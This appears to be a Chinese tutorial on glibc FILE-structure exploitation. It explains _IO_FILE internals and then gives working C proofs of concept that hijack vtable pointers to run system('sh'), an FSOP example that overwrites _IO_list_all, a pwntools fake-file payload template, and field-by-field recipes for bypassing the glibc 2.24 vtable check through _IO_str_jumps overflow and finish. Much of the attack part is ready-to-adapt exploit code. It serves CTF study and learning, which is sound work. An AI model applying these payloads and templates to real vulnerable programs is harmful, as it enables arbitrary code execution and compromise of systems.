FILE结构 FILE介绍 FILE是linux系统标I/O库中用于表示文件流 的数据结构,称文件流
通过fopen等函数创建,分配在堆中
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 struct _IO_FILE { int _flags; #define _IO_file_flags _flags char * _IO_read_ptr; char * _IO_read_end; char * _IO_read_base; char * _IO_write_base; char * _IO_write_ptr; char * _IO_write_end; char * _IO_buf_base; char * _IO_buf_end; char *_IO_save_base; char *_IO_backup_base; char *_IO_save_end; struct _IO_marker *_markers ; struct _IO_FILE *_chain ; int _fileno;#if 0 int _blksize;#else int _flags2;#endif _IO_off_t _old_offset; #define __HAVE_COLUMN unsigned short _cur_column; signed char _vtable_offset; char _shortbuf[1 ]; _IO_lock_t *_lock;#ifdef _IO_USE_OLD_IO_FILE };struct _IO_FILE_complete { struct _IO_FILE _file ;#endif #if defined _G_IO_IO_FILE_VERSION && _G_IO_IO_FILE_VERSION == 0x20001 _IO_off64_t _offset;# if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T struct _IO_codecvt *_codecvt ; struct _IO_wide_data *_wide_data ; struct _IO_FILE *_freeres_list ; void *_freeres_buf;# else void *__pad1; void *__pad2; void *__pad3; void *__pad4; size_t __pad5; int _mode; char _unused2[15 * sizeof (int ) - 4 * sizeof (void *) - sizeof (size_t )];#endif };
进程中的FILE被_chain域彼此连接形成链表,头部为IO_list_all表示,通过其我们可以遍历进程中所有FILE结构
初始状态:stdin、stdout、stderr文件流自动打开,所以初始时IO_list_all指向由这些文件构成的链表,需要注意的是这三个文件流位于libc.so的数据段
libc.so数据段上的符号指向FILE结构的指针,真正结构符号:
1 2 3 _IO_2_1_stderr_ _IO_2_1_stdout_ _IO_2_1_stdin_
_IO_FILE_PLUS
包裹着_IO_FILE的结构,还有指针vtable
1 2 3 4 5 struct _IO_FILE_plus { _IO_FILE file; IO_jump_t *vtable; }
2.23下32位vtable偏移0x94,64位0xd8(相对结构体起始)
vtable类型为IO_jimp_t,IO_jump_t 保存的是一些函数的指针,在后面一系列IO函数中会调用这些指针
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 void * funcs[] = { 1 NULL , 2 NULL , 3 exit , 4 NULL , 5 NULL , 6 NULL , 7 NULL , 8 NULL , 9 NULL , 10 NULL , 11 NULL , 12 NULL , 13 NULL , 14 NULL , 15 NULL , 16 NULL , 17 NULL , 18 pwn, 19 NULL , 20 NULL , 21 NULL , };
尽管每个 FILE 结构的地址不同,但它们共享同一个 vtable。vtable 是一个全局的函数指针数组,所有 FILE 结构的 vtable 指针都指向同一个全局 vtable。
fread 作用:从文件流中读数据
原型:
1 `size_t fread ( void *buffer, size_t size, size_t count, FILE *stream) ;
buffer:存放读取数据的缓冲区
size:指定长度
count:指定个数
stream:目标文件流
返回值:返回读取到缓冲区中的记录个数
fread:位于/libio/iofread.c中,函数名为_IO_fread
1 2 3 4 5 6 7 8 9 10 11 _IO_size_t _IO_fread (buf, size, count, fp) void *buf; _IO_size_t size; _IO_size_t count; _IO_FILE *fp; { ... bytes_read = _IO_sgetn (fp, (char *) buf, bytes_requested); ... }
真正的实现在第9行,通过调用_IO_segtn子函数实现
1 2 3 4 5 6 7 8 _IO_size_t _IO_sgetn (fp, data, n) _IO_FILE *fp; void *data; _IO_size_t n; { return _IO_XSGETN (fp, data, n); }
而在这个子函数里又会调用_IO_XSGETN,这是_IO_FILE_plus.vatble中的函数指针,在调用这个函数时会先取出vtable中的指针再进行调用
默认情况下函数指针是指向 _IO_file_xsgetn函数的,用于处理普通文件的读取操作
fwrite 用于向文件流写入数据,原型:
1 size_t fwrite (const void * buffer, size_t size, size_t count, FILE* stream) ;
buffer:写入地址
size:写入内容单字节数
count:写入size数据的个数
stream:目标文件指针
返回值:实际写入个数
fwrite 代码函数名为 _IO_fwrite,通过调用 _IO_XSPUTN 实现
1 2 written = _IO_sputn (fp, (const char *) buf,
该指针其位于 vtable 中,首先要取出其指针再跳去调用
_IO_XSPUTN 的默认实现为 _IO_new_file_xsputn
而 _IO_new_file_xsputn 会调用 _IO_OVERFLOW 来处理缓冲区溢出
1 2 if (_IO_OVERFLOW (f, EOF) == EOF)
而 _IO_OVERFLOW 的默认实现 _IO_new_file_overflow
然后 _IO_new_file_overflow 会调用 _IO_do_write 和 _IO_do_flush 来刷新缓冲区
1 2 3 4 5 6 if (ch == EOF) return _IO_do_write (f, f->_IO_write_base, f->_IO_write_ptr - f->_IO_write_base); if (f->_IO_write_ptr == f->_IO_buf_end ) if (_IO_do_flush (f) == EOF) return EOF;
然后 _IO_new_file_overflow 内部最终会调用系统接口 write 函数
fopen 用于打开文件
原型
1 FILE *fopen (char *filename, *type) ;
filename:目标文件路径
type:打开方式
返回值:返回一个文件指针
fopen 对应函数 __fopen_internal 内部调用 malloc 来分配 FILE 的空间
1 *new_f = (struct locked_FILE *) malloc (sizeof (struct locked_FILE));
初始化 vtable 并且调用 _IO_file_init 进一步初始化操作
1 2 _IO_JUMPS (&new_f->fp) = &_IO_file_jumps; _IO_file_init (&new_f->fp);
_IO_file_init 中,调用 _IO_link_in 把新分配的 FILE 结构链入链表
1 2 3 4 5 6 7 8 9 10 11 12 void _IO_link_in (fp) struct _IO_FILE_plus *fp ; { if ((fp->file._flags & _IO_LINKED) == 0 ) { fp->file._flags |= _IO_LINKED; fp->file._chain = (_IO_FILE *) _IO_list_all; _IO_list_all = fp; ++_IO_list_all_stamp; } }
最后 __fopen_internal 函数会调用 _IO_file_fopen 函数打开目标文件,_IO_file_fopen 会根据用户传入的打开模式进行打开操作,总之最后会调用到系统接口 open 函数
总结调用 fopen 时
malloc 分配 FILE 结构到堆区
初始化 vtable 和FILE
链入链表
调用系统结构打开文件
这个没有调用 vtable 中的
fclose 顾名思义,关闭文件
原型:
1 int fclose (FILE *stream)
功能:关闭文件流,把缓冲区剩余数据输出到磁盘文件中,释放文件指针和缓冲区
首先调用 _IO_unlink_it 将指定的 FILE 从 _chain 链表中脱链
1 2 if (fp->_IO_file_flags & _IO_IS_FILEBUF) _IO_un_link ((struct _IO_FILE_plus *) fp);
之后调用 \_IO_file_close_it 调用系统接口 close 关闭文件
1 2 if (fp->_IO_file_flags & _IO_IS_FILEBUF) status = _IO_file_close_it (fp);
最后调用 vtable 中 _IO_FINNSH ,其对应 _IO_file_finish 函数会调用 free 释放掉之前分配的 FILE 结构
printf/puts printf 和 puts 是常用的输出函数,在 printf 的参数是以'\n'结束的纯字符串时,printf 会被优化为 puts 函数并去除换行符(用于提高性能,puts 函数更简单)
puts 在源码中实现的函数是 _IO_puts,这个函数的操作与 fwrite 的流程大致相同,函数内部同样会调用 vtable 中的 _IO_sputn ,结果会执行_IO_new_file_xsputn,最后会调用到系统接口 write 函数。
printf 的调用栈回溯如下,同样是通过_IO_file_xsputn 实现
1 2 3 4 5 6 vfprintf +11 _IO_file_xsputn _IO_file_overflow funlockfile _IO_file_write write
伪造 vtable 来劫持程序流 方式
直接改写vtable中函数指针
覆盖vtable指针到我们控制的内存中,在其中布置函数指针
实践 修改 vtable 中指针 1 2 3 4 5 6 7 8 9 10 11 int main (void ) { FILE *fp; long long *vtable_ptr; fp=fopen("123.txt" ,"rw" ); vtable_ptr=*(long long *)((long long )fp+0xd8 ); vtable_ptr[7 ]=0x41414141 printf ("call 0x41414141" ); }
可以看到第8行修改vtable中第八项为 0x41414141 也就是 xsputn 为 0x41414141 这是 printf 调用时会调用的 vtable 中的指针,所以之后调用 printf 就会 call 0x41414141
修改vtable指针到可控内存上 在 vtable 函数进行调用时,传入的第一个参数是其对应 _IO_FILE_plus 地址
我们可以通过修改地址上的内容来实现给劫持的 vtable 函数传参
实例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 #define system_ptr 0x7ffff7a52390; int main (void ) { FILE *fp; long long *vtable_ptr; fp=fopen("123.txt" ,"rw" ); vtable_ptr=*(long long *)((long long )fp+0xd8 ); memcopy(fp,"sh" ,3 ); vtable_ptr[7 ]=system_ptr fwrite("hi" ,2 ,1 ,fp); }
第 10 行我们将 sh 写入了 fp 指向的地方,也就是 _IO_FILE_plus 地址,配合我们后面劫持指针为 system 地址,最后 fwrite就会执行system("sh")
在2.23版本中位于libc数据段的vtable是不可写入的,但伪造vtable指针到我们自己创建的内存当中的方式还是可以实现的(也就是第二种方式)
实例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 #define system_ptr 0x7ffff7a52390; int main (void ) { FILE *fp; long long *vtable_addr,*fake_vtable; fp=fopen("123.txt" ,"rw" ); fake_vtable=malloc (0x40 ); vtable_addr=(long long *)((long long )fp+0xd8 ); vtable_addr[0 ]=(long long )fake_vtable; memcpy (fp,"sh" ,3 ); fake_vtable[7 ]=system_ptr; fwrite("hi" ,2 ,1 ,fp); }
第9行是我们自己分配的大块内存用于伪造 vtable,13行就是修改 vtable 到我们伪造的上面,15行将 sh 写到 fp上,也就是 _IO_FILE_plus 地址,17行修改 fwrite 要调用的 vtable 中的那个函数,这样最后执行 fwrite 就是system("sh")
FSOP 理论 FSOP:File Stream Oriented Rrogramming(文件流导向编程),通过前面可知进程内所有 _IO_FILE 结构会使用 _chain 来链成一个单向链表,头部是 _IO_list_all
方式:
通过伪造这个单向链表中的 _IO_FILE_plue 结构体,将其 vtable 指针指向我们伪造的 vtable 表
接着将这个vtable中关键函数替换为恶意函数地址
触发方法是调用_IO_flush_all_lockp,这个函数会刷新_IO_list_all 链表中所有项的文件流,相当于对每个 FILE 调用 fflush,也对应着会调用_IO_FILE_plus.vtable 中的_IO_overflow。
触发 _IO_flush_all_lockp遍历 _IO_list_all链表
访问伪造的 FILE 结构体 → 读取其 vtable 指针 → 定位到伪造的 vtable 表。从vtable取出恶意函数的指针,从而执行恶意代码
_IO_flush_all_lockp 的调用情况
当libc执行abort流程时(一种程序发生严重错误会执行的流程)
当执行exit函数时
当执行流从main函数返回时
为了使fake_file能够正常工作,我们需要布置一些其他的数据来通过检查
1 2 3 4 5 if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)) && _IO_OVERFLOW (fp, EOF) == EOF) { result = EOF; }
fp->_mode <= 0
fp->_IO_write_ptr > fp->_IO_write_base
实践 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 #define _IO_list_all 0x7ffff7dd2520 #define mode_offset 0xc0 #define writeptr_offset 0x28 #define writebase_offset 0x20 #define vtable_offset 0xd8 int main (void ) { void *ptr; long long *list_all_ptr; ptr=malloc (0x200 ); *(long long *)((long long )ptr+mode_offset)=0x0 ; *(long long *)((long long )ptr+writeptr_offset)=0x1 ; *(long long *)((long long )ptr+writebase_offset)=0x0 ; *(long long *)((long long )ptr+vtable_offset)=((long long )ptr+0x100 ); *(long long *)((long long )ptr+0x100 +24 )=0x41414141 ; list_all_ptr=(long long *)_IO_list_all; list_all_ptr[0 ]=ptr; exit (0 ); }
总结 这里给出一个模板
1 2 vtable_addr=fake_file_addr+0x80 +0x40 +0x20 fakefile=b'/bin/sh\x00' +p64(0x61 )+p64(0 )+p64(_IO_list_all-0x10 )+p64(3 )+p64(4 )+p64(0 )*12 +p64(0 )+p64(0 )*8 +p64(vtable_addr)+p64(0 )*3 +p64(system_addr)
需要知道fakefile的地址
2.24下的利用 简介 在2.24版本中会对 vtable 合法性进行检查(调用虚函数前)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 void _IO_vtable_check (void ) attribute_hidden;static inline const struct _IO_jump_t *IO_validate_vtable (const struct _IO_jump_t *vtable) { uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables; uintptr_t ptr = (uintptr_t ) vtable; uintptr_t offset = ptr - (uintptr_t ) __start___libc_IO_vtables; if (__glibc_unlikely (offset >= section_length)) _IO_vtable_check (); return vtable; }
首先检查 vtable 是否位于 IO_vtable 段中,如果满足就正常执行,不满足执行_IO_vtable_check
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 void attribute_hidden _IO_vtable_check (void ) {#ifdef SHARED void (*flag) (void ) = atomic_load_relaxed (&IO_accept_foreign_vtables);#ifdef PTR_DEMANGLE PTR_DEMANGLE (flag);#endif if (flag == &_IO_vtable_check) return ; { Dl_info di; struct link_map *l ; if (_dl_open_hook != NULL || (_dl_addr (_IO_vtable_check, &di, &l, NULL ) != 0 && l->l_ns != LM_ID_BASE)) return ; }#else if (__dlopen != NULL ) return ;#endif __libc_fatal ("Fatal error: glibc detected an invalid stdio handle\n" ); }
如果是非法的就引发 abort
新技术 利用缓冲区的任意地址写 当 vtable 难以利用时,关注点来到 _IO_FILE 结构内部的域中, 里面是一些在使用标准 IO 库会创建并维护的相关信息,其中有些是 fwrite fread 等函数写入地址或读取地址的,控制这些就可以实现任意地址写/读
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 struct _IO_FILE { int _flags; char * _IO_read_ptr; char * _IO_read_end; char * _IO_read_base; char * _IO_write_base; char * _IO_write_ptr; char * _IO_write_end; char * _IO_buf_base; char * _IO_buf_end; char *_IO_save_base; char *_IO_backup_base; char *_IO_save_end; struct _IO_marker *_markers ; struct _IO_FILE *_chain ; int _fileno; int _flags2; _IO_off_t _old_offset; };
由于进程默认存在 stdin\stdout\stderr,所以不需要存在文件流
_IO_buf_base 表示操作的起始地址,_IO_buf_end 表示结束地址 ,要利用的就是这两个
示例 1 2 3 4 5 6 7 8 9 10 11 #include "stdio.h" char buf[100 ];int main () { char stack_buf[100 ]; scanf ("%s" ,stack_buf); scanf ("%s" ,stack_buf); }
第一次stdin前
1 2 3 4 5 6 7 8 9 10 11 12 13 14 0x7ffff7dd18e0 <_IO_2_1_stdin_>: 0 x00000000fbad2088 0 x00000000000000000x7ffff7dd18f0 <_IO_2_1_stdin_+16 >: 0 x0000000000000000 0 x00000000000000000x7ffff7dd1900 <_IO_2_1_stdin_+32 >: 0 x0000000000000000 0 x00000000000000000x7ffff7dd1910 <_IO_2_1_stdin_+48 >: 0 x0000000000000000 0 x00000000000000000x7ffff7dd1920 <_IO_2_1_stdin_+64 >: 0 x0000000000000000 0 x00000000000000000x7ffff7dd1930 <_IO_2_1_stdin_+80 >: 0 x0000000000000000 0 x00000000000000000x7ffff7dd1940 <_IO_2_1_stdin_+96 >: 0 x0000000000000000 0 x00000000000000000x7ffff7dd1950 <_IO_2_1_stdin_+112 >: 0 x0000000000000000 0 xffffffffffffffff0x7ffff7dd1960 <_IO_2_1_stdin_+128 >: 0 x0000000000000000 0 x00007ffff7dd37900x7ffff7dd1970 <_IO_2_1_stdin_+144 >: 0 xffffffffffffffff 0 x00000000000000000x7ffff7dd1980 <_IO_2_1_stdin_+160 >: 0 x00007ffff7dd19c0 0 x00000000000000000x7ffff7dd1990 <_IO_2_1_stdin_+176 >: 0 x0000000000000000 0 x00000000000000000x7ffff7dd19a0 <_IO_2_1_stdin_+192 >: 0 x0000000000000000 0 x00000000000000000x7ffff7dd19b0 <_IO_2_1_stdin_+208 >: 0 x0000000000000000 0 x00007ffff7dd06e0 <== vtable
内容全是空的,未初始化
调用 scanf 后
1 2 3 4 5 6 7 8 9 10 11 12 13 14 0x7ffff7dd18e0 <_IO_2_1_stdin_>: 0 x00000000fbad2288 0 x00000000006020130x7ffff7dd18f0 <_IO_2_1_stdin_+16 >: 0 x0000000000602014 0 x00000000006020100x7ffff7dd1900 <_IO_2_1_stdin_+32 >: 0 x0000000000602010 0 x00000000006020100x7ffff7dd1910 <_IO_2_1_stdin_+48 >: 0 x0000000000602010 0 x0000000000602010 起始地址0x7ffff7dd1920 <_IO_2_1_stdin_+64 >: 0 x0000000000602410 结束地址 0 x00000000000000000x7ffff7dd1930 <_IO_2_1_stdin_+80 >: 0 x0000000000000000 0 x00000000000000000x7ffff7dd1940 <_IO_2_1_stdin_+96 >: 0 x0000000000000000 0 x00000000000000000x7ffff7dd1950 <_IO_2_1_stdin_+112 >: 0 x0000000000000000 0 xffffffffffffffff0x7ffff7dd1960 <_IO_2_1_stdin_+128 >: 0 x0000000000000000 0 x00007ffff7dd37900x7ffff7dd1970 <_IO_2_1_stdin_+144 >: 0 xffffffffffffffff 0 x00000000000000000x7ffff7dd1980 <_IO_2_1_stdin_+160 >: 0 x00007ffff7dd19c0 0 x00000000000000000x7ffff7dd1990 <_IO_2_1_stdin_+176 >: 0 x0000000000000000 0 x00000000000000000x7ffff7dd19a0 <_IO_2_1_stdin_+192 >: 0 x00000000ffffffff 0 x00000000000000000x7ffff7dd19b0 <_IO_2_1_stdin_+208 >: 0 x0000000000000000 0 x00007ffff7dd06e0
可以看到被初始化了
接着我们修改起始和结束地址为 stack
1 2 3 4 5 6 7 8 9 10 11 12 13 14 0x7ffff7dd18e0 <_IO_2_1_stdin_>: 0 x00000000fbad2288 0 x00000000006020130x7ffff7dd18f0 <_IO_2_1_stdin_+16 >: 0 x0000000000602014 0 x00000000006020100x7ffff7dd1900 <_IO_2_1_stdin_+32 >: 0 x0000000000602010 0 x00000000006020100x7ffff7dd1910 <_IO_2_1_stdin_+48 >: 0 x0000000000602010 0 x00007ffff7dd2740 <== _IO_buf_base0x7ffff7dd1920 <_IO_2_1_stdin_+64 >: 0 x00007ffff7dd27c0 0 x0000000000000000 <== _IO_buf_end0x7ffff7dd1930 <_IO_2_1_stdin_+80 >: 0 x0000000000000000 0 x00000000000000000x7ffff7dd1940 <_IO_2_1_stdin_+96 >: 0 x0000000000000000 0 x00000000000000000x7ffff7dd1950 <_IO_2_1_stdin_+112 >: 0 x0000000000000000 0 xffffffffffffffff0x7ffff7dd1960 <_IO_2_1_stdin_+128 >: 0 x0000000000000000 0 x00007ffff7dd37900x7ffff7dd1970 <_IO_2_1_stdin_+144 >: 0 xffffffffffffffff 0 x00000000000000000x7ffff7dd1980 <_IO_2_1_stdin_+160 >: 0 x00007ffff7dd19c0 0 x00000000000000000x7ffff7dd1990 <_IO_2_1_stdin_+176 >: 0 x0000000000000000 0 x00000000000000000x7ffff7dd19a0 <_IO_2_1_stdin_+192 >: 0 x00000000ffffffff 0 x00000000000000000x7ffff7dd19b0 <_IO_2_1_stdin_+208 >: 0 x0000000000000000 0 x00007ffff7dd06e0
然后读入的数据就会写到该位置去
1 2 3 4 5 0x7ffff7dd2740 <buf>: 0 x00000a6161616161 0 x00000000000000000x7ffff7dd2750 <buffer>: 0 x0000000000000000 0 x00000000000000000x7ffff7dd2760 <buffer>: 0 x0000000000000000 0 x00000000000000000x7ffff7dd2770 <buffer>: 0 x0000000000000000 0 x00000000000000000x7ffff7dd2780 <buffer>: 0 x0000000000000000 0 x0000000000000000
_IO_str_jumps -> overflow libc不只有 _IO_file_jumps,还有 _IO_str_jumps,该 vtable 不在 check 的范围内
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 const struct _IO_jump_t _IO_str_jumps libio_vtable = { JUMP_INIT_DUMMY, JUMP_INIT(finish, _IO_str_finish), JUMP_INIT(overflow, _IO_str_overflow), JUMP_INIT(underflow, _IO_str_underflow), JUMP_INIT(uflow, _IO_default_uflow), JUMP_INIT(pbackfail, _IO_str_pbackfail), JUMP_INIT(xsputn, _IO_default_xsputn), JUMP_INIT(xsgetn, _IO_default_xsgetn), JUMP_INIT(seekoff, _IO_str_seekoff), JUMP_INIT(seekpos, _IO_default_seekpos), JUMP_INIT(setbuf, _IO_default_setbuf), JUMP_INIT(sync, _IO_default_sync), JUMP_INIT(doallocate, _IO_default_doallocate), JUMP_INIT(read, _IO_default_read), JUMP_INIT(write, _IO_default_write), JUMP_INIT(seek, _IO_default_seek), JUMP_INIT(close, _IO_default_close), JUMP_INIT(stat, _IO_default_stat), JUMP_INIT(showmanyc, _IO_default_showmanyc), JUMP_INIT(imbue, _IO_default_imbue) };
如果我们设置vtable为这个,就可以调用不一样的文件操作函数
这里以 _IO_str_overflow为例子:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 int _IO_str_overflow (_IO_FILE *fp, int c) { int flush_only = c == EOF; _IO_size_t pos; if (fp->_flags & _IO_NO_WRITES) return flush_only ? 0 : EOF; if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING)) { fp->_flags |= _IO_CURRENTLY_PUTTING; fp->_IO_write_ptr = fp->_IO_read_ptr; fp->_IO_read_ptr = fp->_IO_read_end; } pos = fp->_IO_write_ptr - fp->_IO_write_base; if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only)) { if (fp->_flags & _IO_USER_BUF) return EOF; else { char *new_buf; char *old_buf = fp->_IO_buf_base; size_t old_blen = _IO_blen (fp); _IO_size_t new_size = 2 * old_blen + 100 ; if (new_size < old_blen) return EOF; new_buf = (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size); if (new_buf == NULL ) { return EOF; } if (old_buf) { memcpy (new_buf, old_buf, old_blen); (*((_IO_strfile *) fp)->_s._free_buffer) (old_buf); fp->_IO_buf_base = NULL ; } memset (new_buf + old_blen, '\0' , new_size - old_blen); _IO_setb (fp, new_buf, new_buf + new_size, 1 ); fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf); fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf); fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf); fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf); fp->_IO_write_base = new_buf; fp->_IO_write_end = fp->_IO_buf_end; } } if (!flush_only) *fp->_IO_write_ptr++ = (unsigned char ) c; if (fp->_IO_write_ptr > fp->_IO_read_end) fp->_IO_read_end = fp->_IO_write_ptr; return c; } libc_hidden_def (_IO_str_overflow)
执行的关键在
1 (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);
需要通过的一些条件
fp->_flags & _IO_NO_WRITES为假
(pos = fp->_IO_write_ptr - fp->_IO_write_base) >= ((fp->_IO_buf_end - fp->_IO_buf_base) + flush_only(1))
fp->_flags & _IO_USER_BUF(0x01)为假
2*(fp->_IO_buf_end - fp->_IO_buf_base) + 100
new_size = 2 * (fp->_IO_buf_end - fp->_IO_buf_base) + 100; 应当指向/bin/sh字符串对应的地址
new_size来源 size_t old_blen = _IO_blen (fp); _IO_size_t new_size = 2 * old_blen + 100
而#define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base)
fp+0xe0 指向 system 地址
构造
1 2 3 4 5 6 7 fp->_flags = 0 fp->_IO_buf_base = 0 fp->_IO_buf_end = (bin_sh_addr - 100 ) fp->_IO_write_ptr = 0xffffffff fp->_IO_write_base = 0 fp->_mode = 0
system 也可以用 one_gadgets 来替代,貌似更简单一点
然后想办法触发即可。可以修改 vtable 让原本 _IO_overflow 处的地址变成 _IO_str_overflow ,也就是修改 vtbale 为 _IO_str_jumps ,接着按以前的触发 _IO_overflow
_IO_str_jumps -> finish 道理同上
1 2 3 4 5 6 7 8 9 void _IO_str_finish (_IO_FILE *fp, int dummy) { if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF)) (((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base)); fp->_IO_buf_base = NULL ; _IO_default_finish (fp, 0 ); }
检查:
_IO_buf_base 不为空
_flags & _IO_USER_BUF(0x01) 为假
构造
1 2 3 4 5 6 7 8 _flags = (binsh_in_libc + 0x10 ) & ~1 _IO_buf_base = binsh_addr _freeres_list = 0x2 _freeres_buf = 0x3 _mode = -1 fp+0xe8 -> system_addr
触发同上修改 vtbale 为 _IO_str_jumps-8